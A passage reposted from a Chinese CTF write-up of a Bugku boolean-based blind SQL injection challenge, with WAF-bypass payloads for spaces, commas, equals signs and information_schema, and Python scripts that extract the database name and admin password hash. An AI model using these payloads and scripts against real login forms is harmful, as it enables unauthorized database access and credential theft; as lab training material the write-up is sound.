Bugku sql注入 基于布尔的SQL盲注 经典题where information过滤

news2024/11/19 6:12:21

目录

绕过空格

/**/绕过

()绕过

回车绕过

·（键按钮）绕过

等号绕过

绕过，（逗号）使用substr

下面存在基本绕过方式

注释符绕过

/**/绕过

#绕过

/*注释内容*/绕过

//注释绕过

大小写绕过

绕过information过滤

简单的爆破表名


 

bugku基于布尔的SQL盲注_bugku 基于布尔的sql盲注-CSDN博客 

考核中遇到的题 爆出数据库 就完全不知道怎么做了

这里拿到原题记录一下

首先拿到登入界面我们来进行测试

输入 admin 密码随便输入

输入 admin123 密码随便输入

发现了 这里admin是存在数据库中的 但是不存在就会回显不存在

所以这里我们可以确定了 admin 是true的

然后我们开始fuzz

 发现过滤了巨多。。。。。where information啥都是过滤

然后我们一个一个绕过

绕过空格

/**/绕过

select/**/*/**/from/**/username

()绕过

select(*)from(username)

回车绕过

因为mysql只有在遇到; 才会执行
所以我们可以通过 %0a绕过

select%0a*%0afrom%0ausername

·（键按钮）绕过

select`*`from`username`

这里存在许多的绕过方式

下面是等号的绕过

等号绕过

这里我们可以使用<>绕过等号

<>是不等号的意思

所以我们可以通过<>来构造
a'or(1<>2)# 这里回显是 1 因为1不等于2 并且admin存在

a’or(1<>1)# 这里回显是 0 因为1等于1

目前我们可以开始爆破数据库了

我们可以知道构造payload

a'or(ascii(substr(database()),0,1)<>1)#

但是我们发现 这里被过滤了 因为 , 被过滤

所以我们无法使用这个方法

绕过，（逗号）使用substr

这里我们学习到一种方式

substr('flag' from 1)
SELECT substr('flag' from 1)  --->flag

SELECT substr('flag' from 2)  --->lag

SELECT substr('flag' from 3)  --->ag

SELECT substr('flag' from 4)  --->g

但是我们这里发现 我们无法通过 1 搜索到flag后然后查询

我们可以使用倒装输出看看 reverse

SELECT substr((reverse(substr('flag' FROM 1)))FROM 4)


f


SELECT substr((reverse(substr('flag' FROM 2)))FROM 3)

l



SELECT substr((reverse(substr('flag' FROM 3)))FROM 2)

a



SELECT substr((reverse(substr('flag' FROM 4)))FROM 1)

g

实现了读取

这里我们就可以进行payload拼接

a'or(ord(substr((reverse(substr((database())from(2))))from(8)))<>98)#

我们再来分析一下

a'or(ord(substr((reverse(substr((database())from(1))))from(8)))<>1)#

内容其实是

a' or ord(substr(reverse(substr(database() from 1)) from 1))<>1

我们首先通过

substr(database() from 1) 来输出

但是这个时候是返回全部内容 假如database为admin
那么这个时候回显是admin

我们使用倒装

reverse(substr(database() from 1))

返回的是 nimda

这个时候我们访问最大的值这里是5


substr(reverse(substr(database() from 1)) from 5)

就返回了 a

我们就获取了第一个字符的内容

这里为什么要使用ord呢 因为ascii在mysql中 大小写的 编码是一样的 's'='S'

所以我们开始写python代码

import requests
import string,hashlib
import time
url = 'http://114.67.175.224:13436/'
string1 = string.digits + (string.ascii_lowercase)
password = ''
for i in range(1,8):
    for j in range(8,0,-1):
        for k in range(48, 128):
                payload = """a'or(ord(substr((reverse(substr((database())from({0}))))from({1})))<>{2})#""".format(i, j, k)
                data = {
                    'username':payload,
                    'password':'abcd'
                }
                try:
                    res = requests.post(url, data=data, timeout=5)
                except:
                    time.sleep(2)
                    res = requests.post(url, data=data, timeout=5)
                if 'username does not exist' in res.text:
                    password += chr(k)
                    print(password)
                    break
                res.close()

获取了数据库名称  blindsql

但是我们继续进行的时候就发现了 无法继续

因为过滤了 information where 等

下面存在基本绕过方式

注释符绕过

这里的原理是 注释符后的会被执行

/**/绕过

select * from users /**/ where id = 1

#绕过

select * from users # where id = 1

/*注释内容*/绕过

select * from users /* where id = 1 */

//注释绕过

select * from users // where id = 1

大小写绕过

如果waf对大小写不敏感我们就可以使用这个

sElEct  * from users whErE id = 1 union sElEct 1,2,3

绕过information过滤

sys.schema_auto_increment_columns

sys.schema_table_statistics_with_buffer

sys.x$schema_table_statistics_with_buffer

sys.x$schema_table_statistics

sys.x$ps_schema_table_statistics_io

mysql.innodb_table_stats

mysql.innodb_index_stats

但是在这之前我们先需要看看我们的version是什么

修改上面的payload

payload = """a'or(ord(substr((reverse(substr((version())from({0}))))from({1})))<>{2})#""".format(i, j, k)

所以上面都不能用。。。。

简单的爆破表名

这里我们就开始思考能不能爆破

这里介绍两个

a' or exists(select * from user)#

这里如果返回true 就说明 user存在


a'or admin.test is null  


这里返回true 说明不存在

但是这两个都不能用 因为全过滤了

这里我们就开始犯了难了

这里我们可以使用另一个爆破方法

a'or(length((select(group_concat(flag))from(blindsql.test)))>0)#


这里的test和flag是我们需要替换到字典中的内容的

这里其实就是真的纯纯爆破

import requests
import sys

url = 'http://114.67.175.224:13436/'
res = '爆破了'
shuzi = 1
#读取字典
file = open(r'C:\Users\Administrator\Desktop\攻防\渗透\字典\密码\Top50.txt','r')
lines = file.readlines()
file.close()
lines = [line.rstrip() for line in lines]
for line in lines:
    for line2 in lines:
        paylaod = """a'or(length((select(group_concat({0}))from(blindsql.{1})))>0)#""".format(line2,line)
        print(paylaod)
        data = {
                'username':paylaod,
                'password':'asdba'
                }
        responce = requests.post(url=url,data=data)
        shuzi +=1
        if "password error!" in responce.text:
            print("爆破结束----爆破了"+str(shuzi)+"次")
            print(paylaod)
            print("表名为："+line)
            print("字段名为:"+line2)
            sys.exit()

但是这里确实没有字典 我也没有找到字典能够爆破

然后我们直接进行读取即可

a'or(ord(substr(reverse(substr((select(group_concat(password))from(blindsql.admin))from(1)))from(32)))<>52)#

 

import requests
import string,hashlib
import time
url = 'http://114.67.175.224:18038/'
string1 = string.digits + (string.ascii_lowercase)
password = ''
for i in range(1,40):
    for j in range(40,0,-1):
        for k in range(48, 128):
                payload = """a'or(ord(substr(reverse(substr((select(group_concat(password))from(blindsql.admin))from({0})))from({1})))<>{2})#""".format(i, j, k)
                data = {
                    'username':payload,
                    'password':'abcd'
                }
                try:
                    res = requests.post(url, data=data, timeout=5)
                except:
                    time.sleep(2)
                    res = requests.post(url, data=data, timeout=5)
                if 'username does not exist!' in res.text:
                    password += chr(k)
                    print(password)
                    break
                res.close()

4dcc88f8f1bc05e7c2ad1a60288481a2

但是确实这个爆破太慢了

我这里再介绍另一个方法

a'or((ascii(substr((select(password))from(1)))-48))--


这里其实最主要就是


ascii 和 -48

-48 是 减去48

就是我们查询到passaword的首字母 如果为48 即 1 就输出 0 那么整体输出0

如果不为48 就输出1 整体就为1


这里不需要使用倒装

因为

ascii(substr((select(password))from(1)

这里只需要修改 1 2 3 就可以获取这个首字符的ascii

所以我们开始构造

import requests
import string,hashlib
import time
url = 'http://114.67.175.224:18038/'
string1 = string.digits + (string.ascii_lowercase)
password = ''
for i in range(1,40):
        for k in range(48, 128):
                payload = """a'or((ascii(substr((select(password))from({0})))-{1}))#""".format(i,k)
                data = {
                    'username':payload,
                    'password':'abcd'
                }
                try:
                    res = requests.post(url, data=data, timeout=5)
                except:
                    time.sleep(2)
                    res = requests.post(url, data=data, timeout=5)
                if 'username does not exist!' in res.text:
                    password += chr(k)
                    print(password)
                    break
                res.close()

速度确实快了很多

然后我们登入即可

 

本文来自互联网用户投稿，该文观点仅代表作者本人，不代表本站立场。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如若转载，请注明出处：http://www.coloradmin.cn/o/1099294.html

如若内容造成侵权/违法违规/事实不符，请联系多彩编程网进行投诉反馈，一经查实，立即删除！

相关文章

Spring中注入的使用

Spring中注入的使用

目录 一、什么是注入&#xff08;Injection&#xff09; 1.1 为什么要注入 二、注入的基本使用 三、Spring注入原理分析 一、什么是注入&#xff08;Injection&#xff09; 注入就是通过Spring的配置文件&#xff0c;为所创建对象的成员变量进行赋值 1.1 为什么要注入 书接上…
阅读更多...
寻找替代Redmine项目管理工具的常见方案

寻找替代Redmine项目管理工具的常见方案

RedMine是一个非常受欢迎的项目管理工具&#xff0c;但它并不是万能的。随着时间的推移&#xff0c;许多功能和特性可能会发生变化或被取消。因此&#xff0c;有许多其他工具可以成为RedMine的替代品。 以下是六种可能的选择&#xff1a; 1、Zoho Projects&#xff1a; Zoho P…
阅读更多...
“高级小程序开发指南“

“高级小程序开发指南“

目录 引言小程序视图层小程序逻辑层及生命周期总结 引言 随着移动互联网的快速发展&#xff0c;小程序作为一种轻量级的应用形态&#xff0c;在用户使用体验和开发者便捷性方面受到了广泛关注。本篇博客将带你深入探索小程序的视图层和逻辑层&#xff0c;并介绍其生命周期。 …
阅读更多...
高压互锁（HVIL）

高压互锁（HVIL）

文章目录 简介高压互锁的作用高压互锁原理高压互锁检测电路设计直流源PWM直流源和PWM比较 高压互锁常见故障MSD 简介 高压互锁(High voltage Inter-lock&#xff0c;简称HVIL)&#xff0c;又称高压互锁回路系统。 高压互锁是混合动力和全电动汽车的安全功能&#xff0c;利用低…
阅读更多...
GEO生信数据挖掘（八）富集分析（GO 、KEGG、 GSEA 打包带走）

GEO生信数据挖掘（八）富集分析（GO 、KEGG、 GSEA 打包带走）

第六节&#xff0c;我们使用结核病基因数据&#xff0c;做了一个数据预处理的实操案例。例子中结核类型&#xff0c;包括结核&#xff0c;潜隐进展&#xff0c;对照和潜隐&#xff0c;四个类别。第七节延续上个数据&#xff0c;进行了差异分析。 本节对差异基因进行富集分析。 …
阅读更多...
函数防抖（javaScript）

函数防抖（javaScript）

防抖说明 &#xff08;1&#xff09;防抖的目的&#xff1a; 当多次执行某一个动作的时候&#xff0c;限制函数调用的次数&#xff0c;节约资源。 &#xff08;2&#xff09;防抖的概念&#xff1a; 函数防抖&#xff08;debounce&#xff09;&#xff1a;就是指触发事件后&…
阅读更多...
docker离线安装和使用

docker离线安装和使用

通过修改daemon配置文件/etc/docker/daemon.json来使用加速器sudo mkdir -p /etc/docker sudo tee /etc/docker/daemon.json <<-EOF {"registry-mirrors": ["https://ullx9uta.mirror.aliyuncs.com"] } EOF sudo systemctl daemon-reload sudo syste…
阅读更多...
Qt ModelView显示数据库数据

Qt ModelView显示数据库数据

利用qt的model view来显示数据表userudps里的数据 用了一个label 两个combox和一个tableview&#xff0c;实现如下效果&#xff1a; 我这里用到是mysql数据库&#xff0c;一般配置mysql数据库就两种有驱动或者没驱动&#xff0c;有的话把mysql的bin目录的libmysql.dll复制到q…
阅读更多...
ESP32-IPS彩屏ST7789-Arduino-简单驱动

ESP32-IPS彩屏ST7789-Arduino-简单驱动

目的&#xff1a; 使ESP32能够驱动点亮ST7789显示屏 前提条件&#xff1a; ESP32 ST7789 &#xff08;240 x240&#xff0c;IPS&#xff09; 杜邦线 Arduino 过程&#xff1a; 0x00--接线 0x01--驱动&#xff1a; 彩屏驱动库 针对不同的彩屏驱动芯片&#xff0c;常用的 Arduino…
阅读更多...
Java中的数组

Java中的数组

前言&#xff1a; 本篇博客将为大家介绍Java中的数组的相关知识。 目录 基本介绍 概念相关 数组的使用 数组是引用类型 应用场景 保存数据 作为方法的参数 作为方法的返回值 练习 数组转字符串 数组拷贝 求数组中元素的平均值 查找数组中的指定元素&#xff08;二…
阅读更多...
传输线感性耦合和距离的关系

传输线感性耦合和距离的关系

传输线感性耦合和距离的关系 传输线感性耦合是指两条或多条传输线之间由于磁场或电场的相互作用而产生的耦合现象。这种耦合现象对于传输线的信号质量和完整性有很大的影响。其中&#xff0c;传输线之间的距离是一个重要的影响因素。本文将从传输线感性耦合的基本概念入手&…
阅读更多...
新年学新语言Go之一

新年学新语言Go之一

一、前言 搜索相关知识后续内容等上班后再继续&#xff0c;新年新气象&#xff0c;从今天开始学习一下Go语言&#xff0c;第一次听说这门语言还是2016年的时候&#xff0c;然后2018年买了一本书 Go In Action&#xff0c;然后就没有然后了&#xff0c; 转眼这么多年过去了&am…
阅读更多...
输入字符串，判断里面有多少个大写字母，多少小写字母，多少数字

输入字符串，判断里面有多少个大写字母，多少小写字母，多少数字

public static void main(String[] args) {//输入字符串&#xff0c;判断里面有多少个大写字母&#xff0c;多少小写字母&#xff0c;多少数字countVary("fsdfsD4f4sf&#xffe5;#&#xffe5;%~&*&#xff01;sg9tssfffSFSFS");}public static void countVary(…
阅读更多...
【网络】总览（待更新）

【网络】总览（待更新）

网络Ⅰ 零、概述0. 网络协议1. 网络协议分层OSI 七层模型TCP/IP 五层模型 2. 协议报头3. 通信过程 一、应用层1.1 &#x1f517;HTTP 协议1.2 &#x1f517;HTTPS 协议 二、传输层2.1 端口号2.2 netstat - - 查询网络状态2.3 pidof - - 查看服务器的进程 id2.4 &#x1f517;UD…
阅读更多...
亚马逊云科技正式发布Amazon DataZone，一项新的数据管理服务

亚马逊云科技正式发布Amazon DataZone，一项新的数据管理服务

Amazon DataZone现已正式发布。作为一项新的数据管理服务&#xff0c;它能够在组织中对数据生产者和消费者之间产生的数据进行编目、发现、分析、共享和管理。 早在2022年的亚马逊云科技re:Invent上&#xff0c;就预告了Amazon DataZone产品的发布&#xff0c;并在2023年3月对其…
阅读更多...
常见场景面试题（二）

常见场景面试题（二）

typora-copy-images-to: imgs theme: cyanosis 敏感词库的设计&#xff0c;要求增删改查敏感词。敏感词文本匹配&#xff0c;敏感词一万个&#xff0c;文本长度在 20 - 1000 答&#xff1a;使用 trie 树来实现敏感词库的设计&#xff0c;可以利用字符串公共前缀来节约存储空间。…
阅读更多...
webrtc gcc算法(1)

webrtc gcc算法(1)

老的webrtc gcc算法,大概流程&#xff1a; 这两个拥塞控制算法分别是在发送端和接收端实现的&#xff0c; 接收端的拥塞控制算法所计算出的估计带宽&#xff0c; 会通过RTCP的remb反馈到发送端&#xff0c; 发送端综合两个控制算法的结果得到一个最终的发送码率&#xff0c;并以…
阅读更多...
记次好玩的XXX模式

记次好玩的XXX模式

看到很多框架里都用了这种方式
阅读更多...
深入了解Java位运算符

深入了解Java位运算符

1.前言 位运算在我们刷题时候&#xff0c;对于效率和空间都是很大的提升&#xff0c;所以位运算符&#xff0c;对于我们的作用也是不可或缺的。 里面就存在一个很重要的思想就是位图&#xff0c;此次我讲解位运算符的作用主要是为他服务的 位图的原理:通过一个整数模拟&#xf…
阅读更多...
Dubbo的整体框架和主要模块

Dubbo的整体框架和主要模块

1 整体框架 Dubbo的整体框架如下图所示&#xff1a; 上层依赖下层提供的功能&#xff0c;下层的改变对上层不可见。 2 主要模块 &#xff08;1&#xff09;主要模块如下所示&#xff1a; &#xff08;2&#xff09;各子模块描述如下所示&#xff1a; 3 参考文献 &#xff08…
阅读更多...
推荐文章
最新文章

Copyright @ 2022~2023